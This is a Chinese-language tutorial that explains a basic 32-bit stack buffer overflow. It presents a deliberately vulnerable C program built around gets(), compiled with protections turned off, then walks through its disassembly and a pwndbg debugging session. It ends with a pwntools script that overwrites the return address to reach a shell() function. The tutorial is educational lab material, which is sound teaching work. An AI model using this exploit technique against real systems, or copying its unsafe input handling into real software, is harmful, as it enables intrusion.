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淺析堆疊溢位原理

2020-10-22 11:13:35 移動端開發

說明

本文主要講解簡單堆疊溢位的基本原理, 如果有什么不對的地方或者更好的建議, 還請大佬指正.

工具準備

  1. linux系統
  2. 除錯工具gdb
  3. gdb插件:pwndbg
  4. pwntools工具包
    關于pwndbg插件和pwntools可以在github搜索并下載安裝,需要python環境

函式堆疊幀與ESP、EBP暫存器

C語言中,每個堆疊幀對應一個未運行完的函式. 堆疊幀中保存了函式的區域變數和回傳地址, 即保存著函式的執行環境.
------摘自百度百科

ESP暫存器保存著堆疊幀的堆疊頂地址, EBP暫存器保存著當前函式堆疊幀的堆疊底地址. (32位系統為ESP、EBP, 64位系統為RSP、RBP, 其它暫存器同理)

call指令、leave指令與ret指令

匯編語言中, 用call指令來實作函式的呼叫, 指令格式: call address;
call指令效果相當于"push eip; jump address;". 不僅是跳轉到指定函式地址執行指令, 在跳轉之前還將當前IP暫存器中的值(下一條指令的地址)壓入到了堆疊中. 從而可以在被調函式執行完之后, 繼續執行當前函式.
在被調函式執行完畢后, 程式要準備退出函式, 需要leave指令來釋放函式堆疊幀, 并使EBP暫存器恢復舊值, 執行的操作相當于"mov esp,ebp; pop ebp; “, 之后ret指令將程式執行流回傳上層函式. 有點c語言中return陳述句的意味. ret指令效果相當于"pop eip;”. 即將堆疊頂保存的值出堆疊, 作為下一條將要執行指令的地址賦值給IP暫存器.

造成堆疊溢位的原因

系統堆疊是由高地址往低地址增長的, 而資料的寫入是按低地址到高地址的順序寫入. 如果程式沒有對輸入的字符數量做出限制, 就存在資料溢位當前堆疊幀以及覆寫回傳地址的可能, 從而實作控制程式的執行流.

溢位原理

以32位可執行程式為例, 我們將通過除錯分析下面這段簡單的代碼來理解堆疊溢位.

#include<stdio.h>
#include<unistd.h>

void shell(){
    system("/bin/sh");
}

void vulnerable(){
    char buf[16];
    gets(buf);
}

int main(){
    vulnerable();
}

可以看到buf大小只有16位元組,而gets()函式卻可以無限輸入,不檢查字符上限, 直到遇到’\n’字符為止.
我們將c檔案編譯鏈接成可執行檔案:

# 編譯引數先不講解,在后面講解保護機制時解釋
# 只需知道-m32是將.c檔案編譯成32位程式即可
gcc -m32 -fno-stack-protector -no-pie main.c -o stack

我們用objdump 來反匯編一下生成的可執行檔案(部分反匯編代碼):

08049172 <shell>:
 8049172:       55                      push   ebp
 8049173:       89 e5                   mov    ebp,esp
 8049175:       83 ec 08                sub    esp,0x8
 8049178:       83 ec 0c                sub    esp,0xc
 804917b:       68 08 a0 04 08          push   0x804a008
 8049180:       e8 bb fe ff ff          call   8049040 <system@plt>
 8049185:       83 c4 10                add    esp,0x10
 8049188:       90                      nop
 8049189:       c9                      leave  
 804918a:       c3                      ret    

0804918b <vulnerable>:
 804918b:       55                      push   ebp
 804918c:       89 e5                   mov    ebp,esp
 804918e:       83 ec 18                sub    esp,0x18
 8049191:       83 ec 0c                sub    esp,0xc
 8049194:       8d 45 e8                lea    eax,[ebp-0x18]
 8049197:       50                      push   eax
 8049198:       e8 93 fe ff ff          call   8049030 <gets@plt>
 804919d:       83 c4 10                add    esp,0x10
 80491a0:       90                      nop
 80491a1:       c9                      leave  
 80491a2:       c3                      ret    

080491a3 <main>:
 80491a3:       55                      push   ebp
 80491a4:       89 e5                   mov    ebp,esp
 80491a6:       83 e4 f0                and    esp,0xfffffff0
 80491a9:       e8 dd ff ff ff          call   804918b <vulnerable>
 80491ae:       b8 00 00 00 00          mov    eax,0x0
 80491b3:       c9                      leave  
 80491b4:       c3                      ret    
 80491b5:       66 90                   xchg   ax,ax
 80491b7:       66 90                   xchg   ax,ax
 80491b9:       66 90                   xchg   ax,ax
 80491bb:       66 90                   xchg   ax,ax
 80491bd:       66 90                   xchg   ax,ax
 80491bf:       90                      nop

上圖可以看到, 在執行call之前,系統會將引數入堆疊(32位程式如此), 執行call指令進入函式之后, 前兩潭訓編指令都相同:

55				push	ebp
89 e5			mov		ebp,esp

這兩條指令的作用是將上層函式堆疊幀的堆疊底入堆疊,同時將堆疊頂作為本函式堆疊幀的堆疊底.
函式呼叫時堆疊的變化情況大致如下所示:
執行call指令時首先esp執行-4操作, 堆疊頂上移, 然后將call指令的下條指令地址存入堆疊頂位置, 從上圖匯編代碼可以看出是將地址0x80491ae入堆疊, 堆疊向低地址方向增長.
執行call指令時,將main函式中下條指令的地址入堆疊
進入vulnerable函式之后,分別執行前兩條指令構造新堆疊幀:
將當前堆疊幀的ebp入堆疊, 然后將ebp移動到堆疊頂位置, 此時vulnerable函式的堆疊幀構造完畢,當有臨時變數時, esp指標執行sub操作,指標上移, 為臨時變數開辟堆疊空間.
構造新堆疊幀
函式功能執行完畢,準備回傳時, 需要將堆疊空間釋放, 即銷毀當前堆疊幀, 在上面匯編代碼部分可以看到, 用戶定義的函式末尾通常會有兩條指令(有時候沒有leave指令):

c9			leave
c3			ret

執行leave指令, 首先將esp移動到堆疊幀的堆疊底ebp的位置, 之后執行出堆疊操作, 將堆疊頂賦值給ebp, 此時ebp恢復舊值, 因為出堆疊操作, esp指標下移. (出堆疊操作并不會清除堆疊內資料, 只是將esp的值修改了而已)
執行leave指令
之后執行ret指令, 將堆疊頂賦值給IP暫存器 , esp下移, 程式繼續. 所謂堆疊溢位就是想辦法將上層函式的堆疊幀中的"回傳地址"給覆寫掉, 以達到改變程式執行流的效果. 在本例中, 就是往buf中一直寫入資料, 直到將main堆疊幀中"回傳地址"給覆寫掉. 當程式執行完vulnerable函式后, 將回傳到指定地址繼續執行指令.
覆寫回傳地址
接下來我們用動態除錯工具gdb和pwndbg來除錯此程式:
常用的gdb/pwndbg命令如下:

  • b function_name —> 在函式處下斷點
  • b *address —> 在地址address處下斷點
  • info b —> 查看斷點資訊
  • r —> 運行程式
  • n —> 單步步過
  • s —> 單步步入,函式跟蹤
  • c —> 繼續執行
  • fin —> 跳出,執行到函式回傳處
  • stack n —> 查看堆疊內n個存盤單元的資料

運行gdb, 并在main函式處打上斷點, 運行程式:
可以看到最上面是一些暫存器的狀態, 往下是程式執行處的反匯編代碼, 小箭頭指向將要執行指令, 接著是部分堆疊空間的狀態, 包括ebp和esp的位置資訊, 最下面是函式呼叫順序, 可以看到程式執行時, main函式并不是第一個被呼叫的函式, 是由__libc_start_main呼叫.

Breakpoint 1, 0x080491a6 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 EAX  0xf7fa7dc8 (environ) —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
 EBX  0x0
 ECX  0xcaf93e6a
 EDX  0xffffbc44 ?— 0x0
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
 EBP  0xffffbc18 ?— 0x0
 ESP  0xffffbc18 ?— 0x0
 EIP  0x80491a6 (main+3) ?— 0xe8f0e483
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ? 0x80491a6 <main+3>     and    esp, 0xfffffff0
   0x80491a9 <main+6>     call   vulnerable <vulnerable>
 
   0x80491ae <main+11>    mov    eax, 0
   0x80491b3 <main+16>    leave  
   0x80491b4 <main+17>    ret    
 
   0x80491b5              nop    
   0x80491b7              nop    
   0x80491b9              nop    
   0x80491bb              nop    
   0x80491bd              nop    
   0x80491bf              nop    
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ ebp esp  0xffffbc18 ?— 0x0
01:00040xffffbc1c —? 0xf7de6b41 (__libc_start_main+241) ?— add    esp, 0x10
02:00080xffffbc20 ?— 0x1
03:000c│          0xffffbc24 —? 0xffffbcb4 —? 0xffffbe74 ?— '/home/darkfox/Desktop/code_project/c/stack'
04:00100xffffbc28 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
05:00140xffffbc2c —? 0xffffbc44 ?— 0x0
06:00180xffffbc30 ?— 0x1
07:001c│          0xffffbc34 ?— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
 ? f 0  80491a6 main+3
   f 1 f7de6b41 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

我們接著執行, 直到往buf輸入資料為止:

 0x804918c <vulnerable+1>     mov    ebp, esp
   0x804918e <vulnerable+3>     sub    esp, 0x18
   0x8049191 <vulnerable+6>     sub    esp, 0xc
   0x8049194 <vulnerable+9>     lea    eax, [ebp - 0x18]
   0x8049197 <vulnerable+12>    push   eax
 ? 0x8049198 <vulnerable+13>    call   gets@plt <gets@plt>
        arg[0]: 0xffffbbf0 ?— 0x1
        arg[1]: 0x40000
        arg[2]: 0x7
        arg[3]: 0x8049203 (__libc_csu_init+67) ?— 0x8301c783
 
   0x804919d <vulnerable+18>    add    esp, 0x10
   0x80491a0 <vulnerable+21>    nop    
   0x80491a1 <vulnerable+22>    leave  
   0x80491a2 <vulnerable+23>    ret    
 
   0x80491a3 <main>             push   ebp

我們輸入’aaaa’, 并查看堆疊資料, 可以看到我們輸入的資料存盤在地址0xffffbbf0處, 我們需要覆寫的資料在地址0xffffbc0c處, 中間相隔了0x1c位元組的資料. 另外我們需要程式回傳shell函式處, 運行shell函式, 獲得系統控制權, 此時我們可以將shell函式的地址0x8049172覆寫原來的地址資料.然后就大功告成.

────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ esp  0xffffbbe0 —? 0xffffbbf0 ?— 'aaaa'
01:00040xffffbbe4 ?— 0x40000
02:00080xffffbbe8 ?— 0x7
03:000c│      0xffffbbec —? 0x8049203 (__libc_csu_init+67) ?— 0x8301c783
04:0010│ eax  0xffffbbf0 ?— 'aaaa'
05:00140xffffbbf4 —? 0xffffbc00 —? 0xf7fe4520 (_dl_fini) ?— push   ebp
06:00180xffffbbf8 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
07:001c│      0xffffbbfc —? 0x80491db (__libc_csu_init+27) ?— 0xff10b38d
08:00200xffffbc00 —? 0xf7fe4520 (_dl_fini) ?— push   ebp
09:00240xffffbc04 ?— 0x0
0a:0028│ ebp  0xffffbc08 —? 0xffffbc18 ?— 0x0
0b:002c│      0xffffbc0c —? 0x80491ae (main+11) ?— 0xb8
0c:00300xffffbc10 —? 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
...0e:00380xffffbc18 ?— 0x0
0f:003c│      0xffffbc1c —? 0xf7de6b41 (__libc_start_main+241) ?— add    esp, 0x10
10:00400xffffbc20 ?— 0x1
11:00440xffffbc24 —? 0xffffbcb4 —? 0xffffbe74 ?— '/home/darkfox/Desktop/code_project/c/stack'
12:00480xffffbc28 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
13:004c│      0xffffbc2c —? 0xffffbc44 ?— 0x0

用python撰寫漏洞利用腳本

#!/usr/bin/python3		#指明腳本解釋程式

# 匯入pwntools工具
from pwn import *

# 運行stack程式
io = process('./stack')

# shell函式回傳地址
shell = 0x8049172

# 構造payload,先填充0x1c位元組的垃圾資料,再覆寫回傳地址
# pack()將整型數值打包成32位位元組碼,也可用 p32(shell) 代替
payload = b'a' * 0x1c + pack(shell,32)

#如果是python2, payload構造方式如下
#payload = 'a' * 0x1c + p32(shell)

# 向程式發送資料
io.sendline(payload)

#互動模式
io.interactive()

運行腳本后獲得系統控制權限,執行ls命令,果然可以查看當前目錄的檔案

darkfox@darkfox-PC:~/Desktop/code_project/c$ python3 io.py 
[+] Starting local process './stack': pid 15404
[*] Switching to interactive mode
$ ls
how2heap  io.py  main.c  stack
$  

那真對這種簡單的堆疊溢位, 有什么防止的辦法呢? 請查閱堆疊保護措施 canary機制、堆疊不可執行(NX)、地址隨機化(PIE、ASLR)機制,

轉載請註明出處,本文鏈接:https://www.uj5u.com/yidong/185368.html

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    一. 問題描述 使用華為推送服務下發IM訊息時,下發訊息請求成功且code碼為80000000,但是手機總是收不到訊息; 在華為推送自助分析(Beta)平臺查看發現,訊息發送觸發了頻控。 二. 問題原因及背景 2023年1月05日起,華為推送服務對咨詢營銷類訊息做了單個設備每日推送數量上限管理,具體 ......

    uj5u.com 2023-04-20 08:40:11 more
  • 歡迎頁輪播影片

    如圖,引導開始,球從上落下,同時淡入文字,然后文字開始輪播,最后一頁時停止,點擊進入首頁。 在來看看效果圖。 重力球先不講,主要歡迎輪播簡單實作 首先新建一個類 TextTranslationXGuideView,用于影片展示 文本是類似的,最后會有個圖片箭頭影片,布局很簡單,就是一個 TextVi ......

    uj5u.com 2023-04-20 08:39:36 more
  • 【FAQ】關于華為推送服務因營銷訊息頻次管控導致服務通訊類訊息

    一. 問題描述 使用華為推送服務下發IM訊息時,下發訊息請求成功且code碼為80000000,但是手機總是收不到訊息; 在華為推送自助分析(Beta)平臺查看發現,訊息發送觸發了頻控。 二. 問題原因及背景 2023年1月05日起,華為推送服務對咨詢營銷類訊息做了單個設備每日推送數量上限管理,具體 ......

    uj5u.com 2023-04-20 08:39:13 more
  • iOS從UI記憶體地址到讀取成員變數(oc/swift)

    開發除錯時,我們發現bug時常首先是從UI顯示發現例外,下一步才會去定位UI相關連的資料的。XCode有給我們提供一系列debug工具,但是很多人可能還沒有形成一套穩定的除錯流程,因此本文嘗試解決這個問題,順便提出一個暴論:UI顯示例外問題只需要兩個步驟就能完成定位作業的80%: 定位例外 UI 組 ......

    uj5u.com 2023-04-19 09:16:23 more
  • FIDE重磅更新!性能飛躍!體驗有禮!

    FIDE 開發者工具重構升級啦!實作500%性能提升,誠邀體驗! 一直以來不少開發者朋友在社區反饋,在使用 FIDE 工具的程序中,時常會遇到諸如加載不及時、代碼預覽/渲染性能不如意的情況,十分影響開發體驗。 作為技術團隊,我們深知一件趁手的開發工具對開發者的重要性,因此,在2023年開年,FinC ......

    uj5u.com 2023-04-19 09:16:15 more
  • 游戲內嵌社區服務開放,助力開發者提升玩家互動與留存

    華為 HMS Core 游戲內嵌社區服務提供快速訪問華為游戲中心論壇能力,支持玩家直接在游戲內瀏覽帖子和交流互動,助力開發者擴展內容生產和觸達的場景。 一、為什么要游戲內嵌社區? 二、游戲內嵌社區的典型使用場景 1、游戲內打開論壇 您可以在游戲內繪制論壇入口,為玩家提供沉浸式發帖、瀏覽、點贊、回帖、 ......

    uj5u.com 2023-04-19 09:15:46 more
  • iOS從UI記憶體地址到讀取成員變數(oc/swift)

    開發除錯時,我們發現bug時常首先是從UI顯示發現例外,下一步才會去定位UI相關連的資料的。XCode有給我們提供一系列debug工具,但是很多人可能還沒有形成一套穩定的除錯流程,因此本文嘗試解決這個問題,順便提出一個暴論:UI顯示例外問題只需要兩個步驟就能完成定位作業的80%: 定位例外 UI 組 ......

    uj5u.com 2023-04-19 09:14:53 more
  • FIDE重磅更新!性能飛躍!體驗有禮!

    FIDE 開發者工具重構升級啦!實作500%性能提升,誠邀體驗! 一直以來不少開發者朋友在社區反饋,在使用 FIDE 工具的程序中,時常會遇到諸如加載不及時、代碼預覽/渲染性能不如意的情況,十分影響開發體驗。 作為技術團隊,我們深知一件趁手的開發工具對開發者的重要性,因此,在2023年開年,FinC ......

    uj5u.com 2023-04-19 09:14:08 more
  • 游戲內嵌社區服務開放,助力開發者提升玩家互動與留存

    華為 HMS Core 游戲內嵌社區服務提供快速訪問華為游戲中心論壇能力,支持玩家直接在游戲內瀏覽帖子和交流互動,助力開發者擴展內容生產和觸達的場景。 一、為什么要游戲內嵌社區? 二、游戲內嵌社區的典型使用場景 1、游戲內打開論壇 您可以在游戲內繪制論壇入口,為玩家提供沉浸式發帖、瀏覽、點贊、回帖、 ......

    uj5u.com 2023-04-19 09:08:34 more